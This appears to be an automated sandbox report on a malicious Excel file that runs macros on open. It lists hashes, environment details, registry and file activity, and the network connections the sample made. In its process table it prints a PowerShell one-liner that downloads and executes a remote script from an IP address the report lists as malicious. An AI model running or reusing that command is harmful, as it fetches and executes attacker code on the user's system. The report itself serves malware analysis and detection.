Malware analysis f49e4598d673730dce33744ac0bd84955b6fafd1f2f5bd3c72cb80787861f8cf.xls Malicious activity

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File name:	f49e4598d673730dce33744ac0bd84955b6fafd1f2f5bd3c72cb80787861f8cf.xls
Full analysis:	https://app.any.run/tasks/24769026-f329-4421-91df-35ee5d66b860
Verdict:	Malicious activity
Analysis date:	June 17, 2019, 01:42:48
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open
Indicators:
MIME:	application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info:	Microsoft Excel 2007+
MD5:	E6A259F13ED2344A5092BB6FF80810F0
SHA1:	3838E6FF2299C55BFB20F55FA6C5D97937028FA7
SHA256:	F49E4598D673730DCE33744AC0BD84955B6FAFD1F2F5BD3C72CB80787861F8CF
SSDEEP:	1536:VJiGbCVB1fvZB4sMgZh3CzPhatcCHO6T6Z/fhg:V0GGlpq4yr05O6efhg

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 120 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 60 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Executes PowerShell scripts
  - EXCEL.EXE (PID: 2960)
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 2960)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 1276)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 2960)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xlam	\|	Excel Macro-enabled Open XML add-in (42.4)
.xlsm	\|	Excel Microsoft Office Open XML Format document (with Macro) (29.2)
.xlsx	\|	Excel Microsoft Office Open XML Format document (17.3)
.zip	\|	Open Packaging Conventions container (8.9)
.zip	\|	ZIP compressed archive (2)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	0x0006
ZipCompression:	Deflated
ZipModifyDate:	1980:01:01 00:00:00
ZipCRC:	0xafef54f5
ZipCompressedSize:	529
ZipUncompressedSize:	2650
ZipFileName:	[Content_Types].xml

XML

Application:	Microsoft Excel
DocSecurity:	None
ScaleCrop:	No
HeadingPairs:	Worksheets 1
TitlesOfParts:	Prompt
Company:	PCYC archery
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
AppVersion:	15.03
LastModifiedBy:	Jack
CreateDate:	2006:11:14 05:04:29Z
ModifyDate:	2019:06:11 05:15:29Z

XMP

Creator:	John Skewes

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1276

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" IEX(New-Object Net.WebClient).DownloadString('http://178.159.7.9/Update.ps1');

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

2960

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

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Total events

819

Read events

721

Write events

Delete events

Modification events


(PID) Process:	(2960) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	jy
Value: 6A792000900B0000010000000000000000000000
(PID) Process:	(2960) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2960) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2960) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 900B0000D446A801AE24D50100000000
(PID) Process:	(2960) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	jy
Value: 6A792000900B0000010000000000000000000000
(PID) Process:	(2960) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(2960) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(2960) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(2960) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(2960) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\14E9C3
Operation:	write	Name:	14E9C3
Value: 04000000900B00006600000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0066003400390065003400350039003800640036003700330037003300300064006300650033003300370034003400610063003000620064003800340039003500350062003600660061006600640031006600320066003500620064003300630037003200630062003800300037003800370038003600310066003800630066002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00010000000000000020B46B02AE24D501C3E91400C3E9140000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2960	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVRE5CA.tmp.cvr		—
		MD5:—	SHA256:—
1276	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5GG120AN8DUG83KYUNVV.temp		—
		MD5:—	SHA256:—
1276	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1512c6.TMP		binary
		MD5:—	SHA256:—
1276	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
1276	powershell.exe	GET	200	178.159.7.9:9000	http://178.159.7.9:9000/YMvFTAqR2D/VoQ3MHfq0x	GB	text	7.29 Mb	malicious
1276	powershell.exe	GET	200	178.159.7.9:80	http://178.159.7.9/Update.ps1	GB	text	2.79 Kb	malicious

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
1276	powershell.exe	178.159.7.9:80	—	UK Dedicated Servers Limited	GB	malicious
1276	powershell.exe	178.159.7.9:448	—	UK Dedicated Servers Limited	GB	malicious
1276	powershell.exe	178.159.7.9:9000	—	UK Dedicated Servers Limited	GB	malicious

DNS requests

No data

Threats

PID	Process	Class	Message
1276	powershell.exe	Potentially Bad Traffic	ET INFO Dotted Quad Host PS1 Request
1276	powershell.exe	Misc activity	SUSPICIOUS [PTsecurity] PowerShell.Script Request

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Process	Message
powershell.exe	Python failed to load the default activation context

General Info

f49e4598d673730dce33744ac0bd84955b6fafd1f2f5bd3c72cb80787861f8cf.xls

E6A259F13ED2344A5092BB6FF80810F0

3838E6FF2299C55BFB20F55FA6C5D97937028FA7

F49E4598D673730DCE33744AC0BD84955B6FAFD1F2F5BD3C72CB80787861F8CF

1536:VJiGbCVB1fvZB4sMgZh3CzPhatcCHO6T6Z/fhg:V0GGlpq4yr05O6efhg

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Executes PowerShell scripts

Unusual execution from Microsoft Office

SUSPICIOUS

Creates files in the user directory

INFO

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

ZIP

XML

XMP

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings